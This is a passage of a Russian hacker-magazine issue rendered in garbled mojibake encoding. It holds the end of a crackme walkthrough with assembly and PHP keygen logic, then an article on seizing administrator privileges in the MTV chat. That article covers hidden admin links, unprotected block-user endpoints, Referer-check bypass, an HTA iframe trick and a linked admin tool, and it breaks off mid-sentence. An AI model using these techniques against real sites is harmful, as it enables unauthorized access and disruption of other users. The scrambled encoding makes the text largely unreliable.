ïðîâåðêè äëèíû ïàðîëÿ:
00404A7E . E8 D7C8FFFF CALL
CrackMe.0040135A
00404A83 . 33C9 XOR ECX,ECX
00404A85 . 83F8 0A CMP EAX,0A
Íåñìîòðÿ íà òî, ÷òî ïàðîëü äîëæåí áûòü íå ìå-
íåå 10 ñèìâîëîâ, íåìíîãî ïðîàíàëèçèðîâàâ
ïðîãðàììó, ìû ïîéìåì, ÷òî áîëüøå 10 ñèìâî-

ëîâ îí òàêæå íå ìîæåò áûòü. Ïîòîìó óñëîâèì-
ñÿ: èìÿ � áîëåå òðåõ ñèìâîëîâ, ïàðîëü � ðîâ-
íî 10 ñèìâîëîâ.
Ïîñëå ïðîâåðîê èäåò ïðîöåäóðà ïðåîáðàçîâà-
íèÿ èìåíè ïîëüçîâàòåëÿ è ïàðîëÿ. Ýòîò êîä íà
PHP âûãëÿäåë áû òàê:

[òàê âûãëÿäèò ïðåîáðàçîâàíèå 
èìåíè è ïàðîëÿ íà php]

//ïðåîáðàçóåì èìÿ ïîëüçîâàòåëÿ $strName
for ($i=0;$i<strlen($strName);$i++) {

for ($j=strlen($strName)-1;$j>-1;$j--) {
$sText .= (ord(substr($strName, $i, 1)) ^

ord(substr($strName, $j, 1)));
}
}
//äåëàåì ïîëó÷åííûé õýø îò èìåíè êðàòíûì 10
$sTXT = $sText.substr("0000000000", 1,
((floor(strlen($sText) / 10) * 10) + 10) �
strlen($sText));
$sPass = substr($sTXT, 0, 10);
$sText = "";
//êðèïòóåì õýø èìåíè ïåðâûìè 10 ñèìâîëàìè
õýøà èìåíè
for ($i=9;$i<(strlen($sTXT) � 10);$i=$i+10) {

for($j=0;$j<10;$j++) {
$sXOR = (substr($sPass, $j, 1) ^

substr($sTXT, $i + $j + 1, 1));
if (strlen($sXOR) > 1) $sXOR =

substr($sXOR,0,1);
$sText .= $sXOR;
}

$sPass = $sText;
sText = "";
}
//ïîëó÷àåì èìÿ ôóíêöèè ðåãèñòðàöèè èç 
ïàðîëÿ $strPass
for($i=0;$i<10;$i++) {
$code = $code.chr(substr($sPass, $i, 1) ^
ord(substr($strPass, $i, 1)));
}

Ïîñëå ýòîãî $code âûçûâàåòñÿ êàê ôóíêöèÿ.
Äëÿ ýòîãî â VB åñòü ôóíêöèÿ CallByName. Â íà-
øåì êðýêìè åå âûçîâ ìû íàéäåì òóò:

0040568A . E8 65BCFFFF CALL
CrackMe.004012F4
0040568F . 50 PUSH EAX
00405690 . FF35 10304100 PUSH DWORD
PTR DS:[413010]
00405696 . 8D85 38FFFFFF LEA
EAX,DWORD PTR SS:[EBP-C8]
0040569C . 50 PUSH EAX
0040569D . E8 ECBBFFFF CALL
CrackMe.0040128E
004056A2 . 50 PUSH EAX
004056A3 . 8D85 28FFFFFF LEA
EAX,DWORD PTR SS:[EBP-D8]
004056A9 . 50 PUSH EAX



004056AA . E8 EBBBFFFF CALL
CrackMe.0040129A
004056AF . 8D85 A4F6FFFF LEA
EAX,DWORD PTR SS:[EBP-95C]

Ïîñëå âûçîâà ôóíêöèè ïî àäðåñó 0040568A â
ðåãèñòðå eax ìû ïîëó÷àåì àäðåñ íà $code, òî
åñòü íà ôóíêöèþ, êîòîðóþ íóæíî âûçûâàòü.
Åùå îäíà óÿçâèìîñòü äàííîãî êðýêìè ñîñòîèò
â îáðàòèìîì àëãîðèòìå øèôðîâêè. Åñëè â êà-
÷åñòâå ïàðîëÿ ââåñòè èìÿ ôóíêöèè, òî â eax
óæå áóäåò àäðåñ íà ïàðîëü. Òî åñòü íàøà çàäà-
÷à îïðåäåëèòü èìÿ ôóíêöèè äëèíîé 10 ñèìâî-
ëîâ, êîòîðóþ íóæíî âûçûâàòü, çàòåì ââåñòè åå
âìåñòî ïàðîëÿ, è ïî àäðåñó 0040568F ïîëó÷èòü
ïàðîëü íà íàøå èìÿ. Òàê êàê ïðîãðàììà çàïà-
êîâàíà, òî ÷òîáû â íåé ðûòüñÿ, íàì íóæíî ñäå-
ëàòü åå äàìï. Äëÿ ýòîãî â Olly æìåì ïðàâîé

êíîïêîé ïî ëèñòèíãó è âûáèðàåì â ïîÿâèâøåì-
ñÿ ìåíþ Dump debugged process. Íàì íå íóæåí
ðàáî÷èé äàìï, ïîýòîìó ïðîñòî æìåì â ïîÿâèâ-
øåìñÿ äèàëîãå Dump è ââîäèì èìÿ ôàéëà. Òå-
ïåðü îòêðûâàåì ôàéë â ôàðå ïî F3 èëè â
hiew'å è íà÷èíàåì èñêàòü â íåì 10-ñèìâîëüíûå
ñòðîêè ñðåäè ôóíêöèé. Ëèñòàòü äîëãî íå ïðè-
äåòñÿ: Picture1 lblPass lblText òNí3Ùf?<¬+ 
ê `LÓtxtName txtPass FormUnload Decode + \.
Ñðåäè âñåãî ýòîãî ìóñîðà ìíå ïðèãëÿíóëàñü
ôóíêöèÿ FormUnload.
Ïîïðîáóåì åå ââåñòè â êà÷åñòâå ïàðîëÿ. 
Òåïåðü ïîñëå âûçîâà êîäà

0040568A . E8 65BCFFFF CALL
CrackMe.004012F4

â ðåãèñòðå eax áóäåò àäðåñ íà ñòðîêó «@jwkQjmmdb».

Ïîïðîáóåì ââåñòè åå â êà÷åñòâå ïàðîëÿ, 
è ìãíîâåííî íà ôîíå ëîãîòèïà æóðíàëà ìû
óâèäèì ïîçäðàâëåíèÿ è ïàðîëü, îáùèé äëÿ
âñåõ íèêîâ. Ïîçäðàâëÿþ, ìû ïîëíîñòüþ 
èññëåäîâàëè êðýêìèñ.

[èòîãè] Âñå âû÷èñëåííûå äàííûå íóæíî 
áûëî ââåñòè íà ñàéòå www.padonak.ru, ÷òîáû
çàðåãèñòðèðîâàòü ïðîõîæäåíèå êîíêóðñà.
Ïåðâûì çàäàíèå âûïîëíèë dMNt, âòî-
ðûìñòàë ÷óâàê ñ çàáàâíûì íèêîì «aaa bbb», 
çàìûêàåò òðîéêó Shiner.
Â ýòîì ìåñÿöå òåáÿ îïÿòü îæèäàåò êîå-÷òî 
íîâåíüêîå è î÷åíü èíòåðåñíîå. Òåáå ïðåäñòîèò
ïîëîìàòü ïîëíîöåííûé þíèêñîâûé ñåðâåð.
Êàê òû ýòî ñäåëàåøü � ìíå ëè÷íî âñå ðàâíî,
ïîëíîå îïèñàíèå çàäàíèÿ è öåëü àòàêè èùè 
íà www.padonak.ru. Óäà÷è 
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ÈÇ ÍÀØÈÕ ÑÒÀÒÅÉ ÍÅÑËÎÆÍÎ ÓßÑÍÈÒÜ: ÈÑÏÎËÜÇÎÂÀ-
ÍÈÅ ÁÅÑÏËÀÒÍÛÕ WEB-ÑÊÐÈÏÒÎÂ ×ÐÅÂÀÒÎ ÏÐÎÁËÅÌÀ-
ÌÈ Ñ ÁÅÇÎÏÀÑÍÎÑÒÜÞ ÑÀÉÒÀ. ÌÎÆÅÒ ÁÛÒÜ, ÏÎÝÒÎÌÓ
ÑÅÐÜÅÇÍÛÅ ÎÐÃÀÍÈÇÀÖÈÈ ÏÐÅÄÏÎ×ÈÒÀÞÒ ÏÎÉÒÈ Ê
ÍÀÑÒÎßÙÈÌ ÏÐÎÔÅÑÑÈÎÍÀËÀÌ È ÇÀÊÀÇÀÒÜ ÊÀ×ÅÑÒ-
ÂÅÍÍÛÉ, À ÃËÀÂÍÎÅ, ÓÍÈÊÀËÜÍÛÉ ÄÂÈÆÎÊ ÄËß ÑÂÎÅ-

ÃÎ ÏÐÎÅÊÒÀ. ÎÄÍÀÊÎ È ÝÒÎ ÅÙÅ ÍÅ ÃÀÐÀÍÒÈÐÓÅÒ ÎÒ-
ÑÓÒÑÒÂÈÅ ÑÅÒÅÂÛÕ ÏÐÎÁËÅÌ. ÍÅÄÀÂÍÎ ÂÎÒ ÌÛ ÍÀØ-
ËÈ ×ÅËÎÂÅÊÀ, ÊÎÒÎÐÛÉ ÑÎÃËÀÑÈËÑß ÐÀÑÑÊÀÇÀÒÜ 
Î ÒÎÌ, ÊÀÊ ÎÍ ÏÎËÎÌÀË ÏÎÏÓËßÐÍÛÉ ×ÀÒ MTV, ÑÄÅ-
ËÀÍÍÛÉ, Ê ÑËÎÂÓ, ÏÅÐÖÀÌÈ ÈÇ ACTIS.RU. ÊÀÊ ÂÈÄÈØÜ, 
ÁÀÃÈ ÅÑÒÜ ÍÅ ÒÎËÜÊÎ Â PHPBB | F-22 (http://runtime-studio.nm.ru)

[î ÷àòàõ] Âîîáùå-òî ÿ òåðïåòü íå ìîãó ýòè web-÷àòû � íàñòîÿùèé îòñòîé.
Íî îäíàæäû òàê ñëó÷èëîñü, ÷òî ìíå ïðèøëîñü çàéòè íà ÷àò MTV è îí îêà-
çàëñÿ íàèìåíåå îòâðàòèòåëüíûì èç âñåõ, ÷òî ÿ âèäåë. Âî âñÿêîì ñëó÷àå, 
ñ òåõíè÷åñêîé ñòîðîíû. Âî ìíîãèõ àíàëîãè÷íûõ ñèñòåìàõ ñïèñîê íèêîâ,
ñòðàíèöà ñ ñîîáùåíèÿìè è âñå îñòàëüíûå äèíàìè÷åñêèå ÷àñòè ïðîñòî 
òóïî ïåðåãðóæàþòñÿ êàæäûå n ñåêóíä. Ýòî âñå ïðèâîäèò ê áîëüøîìó ðàñ-
õîäó òðàôèêà è, âîîáùå, êðàéíå íåðàöèîíàëüíî. Èíòåðåñíî, òàê ëè ðàáî-
òàåò ÷àò MTV? Ñåé÷àñ óçíàåì. Îòêðûâ html-êîä ñòðàíèöû ñ ÷àòîì, ÿ ïðè-
íÿëñÿ èçó÷àòü åãî, à òàêæå âñå äîêóìåíòû, íà êîòîðûå îí ññûëàëñÿ.
Ïåðâûì äåëîì â ãëàçà áðîñèëñÿ áëîê javascript, ñîñòîÿùèé èç íåñêîëü-
êèõ âûçîâîâ ôóíêöèè addUser, êàæäàÿ, êàê ëåãêî ïîíÿòü èç íàçâàíèÿ, 
äîïèñûâàëà íèê ïîëüçîâàòåëÿ â îáùèé ñïèñîê. Òàêèì îáðàçîì, äëÿ äî-
áàâëåíèÿ íîâîãî ïîëüçîâàòåëÿ íóæíî áûëî âñåãî ëèøü îäèí ðàç âûçâàòü
ýòó ôóíêöèþ è ïåðåäàòü åé ñîîòâåòñòâóþùèå ïàðàìåòðû, à íå ïåðåãðó-
æàòü âñþ ñòðàíèöó öåëèêîì. Âûçîâ ôóíêöèè îñóùåñòâëÿëñÿ èç íåâèäè-
ìîãî ôðåéìà (ó êîòîðîãî height="0") è âûãëÿäåë ñëåäóþùèì îáðàçîì:

[òàê ôîðìèðóåòñÿ ñïèñîê àêòèâíûõ íèêîâ]

<SCRIPT LANGUAGE="javascript">
top.addUser('6e6a4778-b513-4bb2-98f8-781f7f4aef07', 'D`Avol', false);
top.addUser('bf577c30-38ff-45e8-b19d-07d35feca6d4', 'Inferno_777', false);
top.addUser('f66ac96f-1fd7-4681-94fe-8df429210cfb', 'jogurt_LP', false);
�Þ
Í

È
Ò

Û

Êàê ìîæíî çàìåòèòü, ôóíêöèÿ addUser ïðèíèìàëà ñðàçó òðè ïàðàìåòðà:
êàêîé-òî äëèííûé èäåíòèôèêàòîð, íèê è ëîãè÷åñêóþ ïåðåìåííóþ, êîòîðàÿ
ìîãëà ïðèíèìàòü äâà çíà÷åíèÿ: true èëè false. Òàê ñõîäó ðàçîáðàòüñÿ, ÷òî è
ê ÷åìó â ýòîì ÷àòå, íå ïðåäñòàâëÿëîñü âîçìîæíûì, ïîýòîìó ÿ îáùåèçâåñò-
íûì ñïîñîáîì ñîõðàíèë ñåáå íà æåñòêèé äèñê ñòðàíèöó ñ ÷àòîì è âñå êëè-
åíòñêèå ñêðèïòû, ïîñëå ÷åãî ïðèíÿëñÿ èçó÷àòü ñòðóêòóðó è ðàáîòó ÷àòà.

[î ÷àòå â öåëîì] ×àò Mtv ñîñòîèò èç ÷åòûðåõ îñíîâíûõ ñåðâåðíûõ
aspx-ïðèëîæåíèé è òðåõ js-ôàéëîâ ñî ñêðèïòàìè. ×òî êàñàåòñÿ êëèåí-
òñêèõ ñöåíàðèåâ, íàñ áóäåò èíòåðåñîâàòü òîëüêî ôàéë chat.js, ãäå ñîáðà-
íû âñå êëþ÷åâûå ôóíêöèè ñèñòåìû. Â îñòàëüíûõ ñöåíàðèÿõ ïðîèçâîäèò-
ñÿ ïðîâåðêà óñòàíîâëåííûõ íà êîìïüþòåðå ïëàãèíîâ è âîçìîæíîñòåé
áðàóçåðà, íàì ýòî ñîâåðøåííî íå èíòåðåñíî.
×òî æå êàñàåòñÿ ñåðâåðíûõ ïðèëîæåíèé, òî çäåñü ñòðóêòóðà ñëåäóþùàÿ:

1 Ñöåíàðèé speech.aspx îòâå÷àåò çà îòîáðàæåíèå ñîîáùåíèé â ÷àòå

2 list.aspx îòîáðàæàåò àêòóàëüíûé ñïèñîê íèêîâ

3 input.aspx îòâå÷àåò çà âõîä/âûõîä ïîëüçîâàòåëåé, ïîêàçûâàåò ôîðìó
àóòåíòèôèêàöèè è îñóùåñòâëÿåò îòïðàâêó ñîîáùåíèé

4 work.aspx � îñíîâíîé ñöåíàðèé, êîòîðûé îñóùåñòâëÿåò óïðàâëåíèå ÷àòîì.

Îáùàÿ ñõåìà èõ ñîâìåñòíîãî ôóíêöèîíèðîâàíèÿ ïðèâåäåíà íà ðèñ. 2.
Êîãäà êëèåíò ïîäêëþ÷àåòñÿ ê ñèñòåìå, ñåðâåðíûå ñöåíàðèè speech.aspx
è list.aspx âûáèðàþò èç ñâîèõ áàç äàííûõ ïîñëåäíèå ñîîáùåíèÿ è àêòó-
àëüíûé ñïèñîê íèêîâ, ïîñëå ÷åãî ôîðìèðóþò ñîîòâåòñòâóþùèå html-

Ê
Ð

Å
À

Ò
È

Ô
Ô

Ê
Î

Ä
È

Í
Ã

U
N

IX
O

ID
Ñ

Ö
Å

Í
À

[Â
Ç

Ë
Î

Ì
]

È
Ì

Ï
Ë

À
Í

Ò
P

C
_

Z
O

N
E

Í
Ü

Þ
Ñ

Û
F

E
R

R
U

M

Ñâåðëèì ÷÷àò MMTV

Ïîëó÷åíèå àäìèíèñòðàòèâíûõ
ïðèâèëåãèé â ÷àòå MTV

www.mtv.ru/newchat/chat.js � 
àäðåñ ñöåíàðèÿ ñ îïèñàíèåì âñåõ êëèåíòñêèõ ôóíêöèé ÷àòà MTV.
http://runtime-studio.nm.ru/chat.mtv.admin.hta � 
àäðåñ hta-ïðèëîæåíèÿ äëÿ àäìèíèñòðèðîâàíèÿ ÷àòà.



input.aspx. Äàëåå work.aspx ïåðèîäè÷åñêè, èëè ïðèíóäèòåëüíî ïîñëå
îòïðàâêè ñîîáùåíèÿ, äîïèñûâàåò  íîâûå äàííûå âî ôðåéìû ñî ñòðà-
íèöàìè list.aspx è speech.aspx. Ñîäåðæèìîå åãî êîìàíä âûãëÿäèò ïðè-
ìåðíî ñëåäóþùèì îáðàçîì:

ñòðàíèöû è îòñûëàþò èõ ïîëüçîâàòåëþ. Ïîñëå ýòîãî âñå ôóíêöèîíèðî-
âàíèå ÷àòà óæå ïðîèñõîäèò áëàãîäàðÿ ñöåíàðèþ work.aspx, âûâîä êîòî-
ðîãî îáíîâëÿåòñÿ êàæäûå 15 ñåêóíä è ñîäåðæèò â ñåáå äèíàìè÷åñêè
ôîðìèðóåìûé ñïèñîê javascript-êîìàíä, êîòîðûå âëèÿþò íà ñîäåðæè-
ìîå îñòàëüíûõ ñòðàíèö. Ñòðàíèöà input.aspx ñîäåðæèò ôîðìû äëÿ âõî-
äà, âûõîäà è îòñûëêè ñîîáùåíèÿ â ÷àò. Âñå ýòî áåçîáðàçèå ðàçáðîñà-
íî ïî ÷åòûðåì ôðåéìàì. Ôîðìû èç input.aspx îòñûëàþòñÿ âî ôðåéì 
ñ work.aspx, ïåðåäàâàÿ åìó ìåòîäîì POST ñîîòâåòñòâóþùèå ïàðàìåò-
ðû. Â ñâîþ î÷åðåäü, work.aspx âîçâðàùàåò ñòðàíèöó ñ íàáîðîì
javascript-êîìàíä, êîòîðûå ïðèïèñûâàþò ïîëüçîâàòåëþ cookie ñ åãî
session_id äëÿ ïîñëåäóþùåé èäåíòèôèêàöèè, è îáíîâëÿþò ôîðìó

SPEECH.ASPX
СООБЩЕНИЯ

WORK.ASPX
УПРАВЛЕНИЕ

LIST.ASPX
ПОЛЬЗОВАТЕЛИ

INPUT.ASPX
ВВОД ДАННЫХ

CHAT.ASPX
СВЯЗУЮЩАЯ 
СТРАНИЦА

ðèñ. 2: îáùàÿ
ñõåìà ðàáîòû 
÷àòà mtv

Äåéñòâèÿ, îïèñàííûå â ýòîé ñòàòüå, õîòü è íå íåñóò, ïî áîëüøîìó 
ñ÷åòó, íè÷åãî ïëîõîãî, íî âñå æå ïîïàäàþò ïî ÓÊ ÐÔ. Òàê ÷òî íå ñòîèò
ïîâòîðÿòü ìîèõ îïûòîâ.
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Íà íàøåì äèñêå òû íàéäåøü ïðîãðàììó InetCrack, êîòîðàÿ ïîçâîëèò
òåáå «íà ëåòó» ìåíÿòü îòïðàâëÿåìûå web-ñåðâåðó çàãîëîâêè.
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[ìàêåò òîãî, ÷òî ïîäãðóæàåòñÿ â work.aspx]

<script>
top.addMessage('co', '<DIV><TR><TD
CLASS=\"username\">INTEL</TD><TD>Àíàñòàñèÿ ÁÅÍÍÈÍÃÒÎÍ,
õàé</TD></TR></DIV>');
top.addMessage('co', '<DIV><TR><TD
CLASS=\"username\">Gosha89</TD><TD>Ïðèâåò ÅÑÒÜ òóò äåâ÷îíêè èç
Ïèòåðà?</TD></TR></DIV>');
top.addUser('6e6a4778-b513-4bb2-98f8-781f7f4aef07', 'D`Avol', false);
top.removeOldMessages(250);
//è ò.ä.
</script>

Îïèñàíèå âûçûâàåìûõ èç work.aspx ôóíêöèé ñîäåðæèòñÿ â ôàéëå chat.js.

[î ñêðûòûõ ïîëÿõ] Â ñòàíäàðòå HTML 4 åñòü òàêàÿ èíòåðåñíàÿ ôèøêà,
êàê òàáëèöû ñòèëåé (CSS). Íàâåðíÿêà ëþáîé, êòî ñèäåë â Èíòåðíåòå è ïû-
òàëñÿ ñàì ñîçäàâàòü web-ñòðàíè÷êè, ñëûøàë î òàêîé øòóêå. CSS èìååò òðè
âåðñèè, êîòîðûå íàçûâàþòñÿ «óðîâíÿìè» (levels), ïðè÷åì êàæäàÿ, áîëåå
ñòàðøàÿ âåðñèÿ, ÿâëÿåòñÿ íàäìíîæåñòâîì ïðåäûäóùèõ. Ñ ìîìåíòà âñòóï-
ëåíèÿ â äåéñòâèå ñòàíäàðòà CSS Level 2 óæå ïðîøëî äîñòàòî÷íî ìíîãî
âðåìåíè, ïîýòîìó íà ñåãîäíÿøíèé äåíü èìåííî îí ñ÷èòàåòñÿ îñíîâíûì è
ïîääåðæèâàåòñÿ âñåìè ñîâðåìåííûìè áðàóçåðàìè. Ñðåäè îãðîìíîãî ÷èñ-
ëà ïðåäîñòàâëÿåìûõ âîçìîæíîñòåé íàñ ñåãîäíÿ áóäåò èíòåðåñîâàòü òîëü-
êî îäíà � ïîääåðæêà «ñêðûòûõ» ïîëåé. Ýòî áëîêè html-êîäà èëè ñïëîøíî-
ãî òåêñòà, êîòîðûå çàãðóæàþòñÿ â áðàóçåð âìåñòå ñ îñíîâíîé html-ñòðàíè-
öåé, îäíàêî â áðàóçåðå îíè íå îòîáðàæàþòñÿ, êàê áóäòî èõ íåò. Ñîäåðæàíèå
«ñêðûòûõ» ïîëåé ìîæíî óâèäåòü, åñëè ïðîñìîòðåòü HTML-êîä ñòðàíèöû.
Ê ïðèìåðó, ÷òîáû ñäåëàòü ñîäåðæàíèå êàêîãî-ëèáî òýãà ñêðûòûì, åìó â ïà-
ðàìåòð style íàäî äîáàâèòü ñòðî÷êó display: none, òî åñòü åñëè ó íàñ åñòü

ôðàãìåíò <h1>áëà áëà áëà</h1>, òî, ÷òîáû ñäåëàòü åãî
ñêðûòûì, íàäî íàïèñàòü <h1 style="display:none">áëà
áëà áëà</h1>. Ïîìèìî òîãî, ÷òî ñêðûâàòü ïîëå ìîæíî
ïðèñâîåíèåì ñîîòâåòñòâóþùåãî çíà÷åíèÿ ïàðàìåòðó
style, íà âèäèìîñòü ýëåìåíòà ìîæíî âëèÿòü è äèíàìè-
÷åñêè èç javascript. Îáðàùàÿñü ê êàêîìó-ëèáî èäåíòè-
ôèöèðîâàííîìó ýëåìåíòó web-ñòðàíèöû (ó êîòîðîãî
åñòü ïàðàìåòð id), â Internet Explorer ìîæíî èñïîëüçî-
âàòü ñâîéñòâî display îáúåêòà style. ×òîáû áûëî ïðîùå
ðàçîáðàòüñÿ, ïðèâåäó ïðîñòîé ïðèìåð:

[ñêðûâàåì html-ýëåìåíò èç javascript]

<h1 id=bla>áëà áëà áëà</h1>
<script language=javascript>

document.getElementById("bla").style.display = 'none';
// ñêðûëè
document.getElementById("bla").style.display = 'block';
// ïîêàçàëè

</script>

Çíà÷åíèå block ðàáîòàåò íå âî âñåõ áðàóçåðàõ, ïîýòîìó èíîãäà âìåñòî
íåãî ïèøóò inline. Âîçìîæíîñòü èìåòü íà ñòðàíèöå ñêðûòûå ïîëÿ ïîÿâè-
ëàñü îòíîñèòåëüíî äàâíî, è âñå ñîâðåìåííûå áðàóçåðû ïîääåðæèâàþò
ýòó ñïåöèôèêàöèþ (èìååòñÿ ââèäó IE > 5.0, Opera > 5.0, Firefox 1.x è òàê
äàëåå). Èñïîëüçóþòñÿ îíè, â îñíîâíîì, äëÿ ñîêðûòèÿ îò ãëàç ïîëüçîâà-
òåëÿ íåíóæíîé èíôîðìàöèè, òîé, êîòîðàÿ, íàïðèìåð, ïðåäíàçíà÷åíà äëÿ
ïîèñêîâûõ ñèñòåì. Îäíàêî ðàçðàáîò÷èêè ÷àòà Mtv ðåøèëè èñïîëüçîâàòü
«ñêðûòûå» ïîëÿ ñîâñåì äëÿ äðóãèõ öåëåé�

[èíòåðåñíîå â chat.js] Êàê ÿ óæå îòìå÷àë âûøå, ôàéë chat.js ñîäåð-
æèò â ñåáå íàáîð ôóíêöèé, êîòîðûå ðåàëèçóþò âñå óïðàâëåíèå êëèåí-
òñêîé ÷àñòüþ ÷àòà: íàïðèìåð, äîáàâëÿþò ñîîáùåíèÿ â îñíîâíîé ôðåéì, è
äîïèñûâàþò íèêè íîâûõ ïîëüçîâàòåëåé â îáùèé ñïèñîê. Ìåíÿ îñîáåííî
èíòåðåñîâàëà èìåííî ýòà ôóíêöèÿ. Âûãëÿäèò îíà ñëåäóþùèì îáðàçîì:

[ôóíêöèÿ äîáàâëåíèÿ íîâîãî ïîëüçîâàòåëÿ ÷àòà]

function addUser(id, name, isAdmin)
{

removeUser(id);
var currFrame = top.frames['co_list'];
var listDiv = currFrame.document.getElementById('userList');

�//skipped
var img =
infoArea.appendChild(currFrame.document.createElement('IMG'));

img.src = 'i/' + (isAdmin ? 'info-admin.gif' : 'info-user.gif');
img.width = 13;
img.height = 9;
img.border = 0;
img.align = 'absmiddle';
img.alt = 'Info';

Ïðîñìàòðèâàÿ êîä ôóíêöèè äàëüøå, ÿ íàòîëêíóëñÿ íà åùå áîëåå èíòå-
ðåñíûé ó÷àñòîê êîäà:

[èíòåðåñíûé ó÷àñòîê êîäà]

var adminArea =
newUserDiv.appendChild(currFrame.document.createElement('SPAN'));
adminArea.className = 'block';
adminArea.style.display = bIsAdmin ? 'inline' : 'none'; //ýòà ñòðîêà 
èíòåðåñíåå âñåãî
eval('adminArea.onclick = function() { openAdminInteface(\'' + id + '\');
return false; }');

Íà ñàìîì äåëå, íå íóæíî ãëóáîêî âíèêàòü â îáúåêòíóþ ìîäåëü ñèñòåìû, ÷òî-
áû ïîíÿòü: â çàâèñèìîñòè îò ïåðåìåííîé bIsAdmin (true èëè false) 
ó îáúåêòà adminArea ìåíÿåòñÿ ñâîéñòâî display (inline èëè none, òî åñòü ïîêà-
çàòü èëè ñêðûòü). Ñîâåðøåííî ïîíÿòíî, ÷òî èçó÷àåìûé ñöåíàðèé òàêæå óïðàâ-
ëÿëñÿ ñíàðóæè ñåðâåðíûì ïðèëîæåíèåì, êîòîðîå ïåðåäàâàëî ïåðåìåííóþ

www.mtv.ru/

community/

chat/chat.wbp

ðèñ. 3:
ñïèñîê
íèêîâ òàê,
êàê åãî
âèäèò
àäìèí

ðèñ. 1:
âíåøíèé
âèä ÷àòà
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bIsAdmin, â çàâèñèìîñòè îò çíà÷åíèÿ êîòîðîé è ïðèíèìàåòñÿ ðåøåíèå: ïîêàçû-
âàòü ëè ïîëüçîâàòåëþ ññûëêó íà àäìèíèñòðàòèâíûé èíòåðôåéñ.
Ïðîñìîòðåâ êîä chat.js äàëüøå, ÿ íàòêíóëñÿ íà åùå áîëåå óäèâèòåëü-
íóþ âåùü: àäðåñà ñòðàíèö äëÿ àäìèíèñòðèðîâàíèÿ ÷àòà è äëÿ ïîëó÷å-
íèÿ èíôîðìàöèè î ïîëüçîâàòåëå áûëè ïðîïèñàíû â ñêðèïòå ÿâíî, ýòî
áûëè aspx-ñêðèïòû, êîòîðûå ïðèíèìàëè ñâîèì ïàðàìåòðîì id ïîëüçî-
âàòåëÿ è íàçûâàëèñü userblock.aspx è userinfo.aspx. Âîò ýòî ñóïåð!
Ïîëó÷àåòñÿ, åñëè îáðàòèòüñÿ ê userblock.aspx?id=[íåêèé id þçåðà, êîòîðûé
áûë â ÷àòå], ýòîò ïîëüçîâàòåëü îêàæåòñÿ çàáëîêèðîâàííûì? Ñåé÷àñ ïîïðî-
áóåì. Çàãðóçèâ â áðàóçåðå ñòðàíèöó, ÿ íå óâèäåë íè÷åãî îáíàäåæèâàþùå-
ãî. Íà ñòðàíèöå áûë ñèíèé ôîí áåç âñåãî, ÷òî äîëæíî áûëî ïðèñóòñòâîâàòü,
ïî ìîåìó ìíåíèþ, íà ñòðàíèöå àäìèíèñòðàòîðñêîãî èíòåðôåéñà ÷àòà. 
Äà è ïîäîïûòíûé ïîëüçîâàòåëü òàê è îñòàëñÿ ñèäåòü â ÷àòå.
Êî ìíå â ãîëîâó ïðèøëà ðåçîííàÿ ìûñëü: íå ìîãëè ñîçäàòåëè ñèñòåìû
îòêðûòü ýòè ñêðèïòû âñåìó Èíòåðíåòó. Ýòî áûëî áû ñòðàííî, êàêàÿ-òî
çàùèòà òóò äîëæíà áûëà áûòü. Íó, ñêàæåì, ñöåíàðèé âïîëíå ìîã ñìîò-
ðåòü íà çàãîëîâîê çàïðîñà â ïîëå Referer, îæèäàÿ âèäåòü òàì äîìåí
www.mtv.ru è íå ïóñêàÿ, òàêèì îáðàçîì, íèêîãî ñî ñòîðîíû. Îäíàêî òåáå
ëè íå çíàòü, êàê ëåãêî îáõîäèòñÿ òàêàÿ «çàùèòà».
Ê ñîæàëåíèþ, î ñóùåñòâîâàíèè ïðîãðàììû InetCrack íà òîò ìîìåíò ÿ
íå ïîäîçðåâàë è, ñîîòâåòñòâåííî, ïîìåíÿòü çàãîëîâêè è îòïðàâëÿòü èõ
íà ñåðâåð ñ õîäó íå ìîã, ïèñàòü æå ñàìîìó êàêîãî-òî ëåâîãî êëèåíòà
î÷åíü íå õîòåëîñü. Ïîýòîìó íàäî áûëî ïðèäóìàòü ÷òî-òî òàêîå, ÷åãî
åùå íå áûëî ñäåëàíî íèêåì è íèãäå: âûçâàòü àäìèíèñòðàòèâíîå îêíî
èç ôðåéìà ñî ñïèñêîì íèêîâ è èìåííî ñ ñàéòà mtv (òî åñòü íóæíî áû-
ëî, ÷òîáû ñòðàíèöà âûçâàëàñü íå îòêóäà-òî ñ ìîåãî ëîêàëüíîãî êîìïü-
þòåðà, à íåïîñðåäñòâåííî ñ ñåðâåðà mtv). Åäèíñòâåííîå, ÷òî ïðèøëî
ìíå â ãîëîâó, � âûçâàòü ñòðàíèöó list.aspx (ñòðàíèöó ñî ñïèñêîì íè-
êîâ) èç ñâîåãî ëîêàëüíîãî ôðýéìà è ñïåöèàëüíûì javascript-îì «çàñâå-
òèòü» ñêðûòûå ïîëÿ è ññûëêè. Îäíàêî ýòî áûëî íåâîçìîæíûì ââèäó

òîãî, ÷òî, ïî ñòàíäàðòó áåçîïàñíîñòè, êî-
òîðûé ïîääåðæèâàþò âñå áðàóçåðû ïî
óìîë÷àíèþ, ñòðàíèöû ñ ðàçíûìè äîìåíà-
ìè íå ìîãóò íèêàê âëèÿòü íà ñîäåðæèìîå
äðóã äðóãà. Êîíå÷íî, â êàêîé-íèáóäü îïåðå
íàøëèñü áû íóæíûå íàñòðîéêè, íî âîò
òîëüêî èñêàòü èõ ó ìåíÿ íå áûëî íèêàêîãî
æåëàíèÿ.

[îá hta è ôðåéìàõ] Åùå ãäå-òî ãîäà 2 íàçàä ÿ çàëåç â äîêè ïî
âèíäàì è ïðî÷èòàë ïðî òàêóþ óäèâèòåëüíóþ âåùü, êàê hta. Äîñ-
ëîâíî ýòî ðàñøèôðîâûâàåòñÿ, êàê Hyper Text Application � ãèïåð-
òåêñòîâîå ïðèëîæåíèå, òî åñòü îáû÷íàÿ html-ñòðàíèöà, îôîðì-
ëåííàÿ â âèíäîâñêîì îêíå è èìåþùàÿ òî÷íî òàêèå æå ïðàâà äîñ-
òóïà ê ôóíêöèÿì ñèñòåìû, êàê è îáû÷íûå ïðèëîæåíèÿ. Ýòî ìíå 
è íóæíî áûëî. Â hta ó òýãà iframe åñòü ïàðàìåòð application, è åñëè
ïðèñâîèòü åìó çíà÷åíèå yes (<iframe application=yes>), òî íà ñî-
äåðæèìîå ñòðàíèöû âíóòðè íåãî ìîæíî áóäåò âëèÿòü èçâíå íåçà-
âèñèìî îò òîãî, ëîêàëüíàÿ îíà, èëè çàãðóæåíà ñ êàêîãî-òî èíòåð-
íåòîâñêîãî àäðåñà. Äàëüøå âñå áûëî ïðîñòî. ß äàæå íå çàñâå÷è-
